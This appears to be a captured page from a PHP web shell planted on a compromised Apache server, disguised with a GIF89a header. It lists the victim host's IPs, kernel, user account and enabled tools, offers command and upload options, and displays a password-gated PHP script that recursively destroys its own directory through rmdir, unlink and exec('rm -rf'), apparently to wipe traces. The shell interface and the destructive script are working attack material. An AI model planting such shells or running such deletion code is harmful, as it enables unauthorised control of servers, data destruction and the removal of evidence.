GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.137.198.35
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../jnclnmu/../web/js/../../jnclnmu/bljvtsdw/cu1-access/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../jnclnmu/../web/js/../../jnclnmu/bljvtsdw/cu1-access/r.php
<?php
$password = "p";

if (!isset($_GET['p']) || $_GET['p'] !== $password) {
    die("Unauthorized");
}

$currentDir = __DIR__;
$dirName = basename($currentDir);
$parentDir = dirname($currentDir);
$dirToDelete = $parentDir . DIRECTORY_SEPARATOR . $dirName;

function deleteDirectory($dir) {
    if (!file_exists($dir)) return true;
    if (!is_dir($dir)) return unlink($dir);
    foreach (scandir($dir) as $item) {
        if ($item == '.' || $item == '..') continue;
        if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) return false;
    }
    return rmdir($dir);
}

function attemptDelete($dir) {
    // Method 1: PHP's rmdir()
    if (rmdir($dir)) return true;

    // Method 2: Recursive deletion
    if (deleteDirectory($dir)) return true;

    // Method 3: System command - rm
    exec("rm -rf " . escapeshellarg($dir) . " 2>&1", $output, $returnVar);
    if ($returnVar === 0) return true;

    // Method 4: System command - rmdir
    exec("rmdir /s /q " . escapeshellarg($dir) . " 2>&1", $output, $returnVar);
    if ($returnVar === 0) return true;

    // Method 5: PHP's unlink() for each file then rmdir()
    $files = array_diff(scandir($dir), array('.','..'));
    foreach ($files as $file) {
        (is_dir("$dir/$file")) ? attemptDelete("$dir/$file") : unlink("$dir/$file");
    }
    return rmdir($dir);
}

if (is_dir($dirToDelete)) {
    echo attemptDelete($dirToDelete) ? "success" : "failure";
} else {
    echo "failure";
}
?>

KBHT - 2023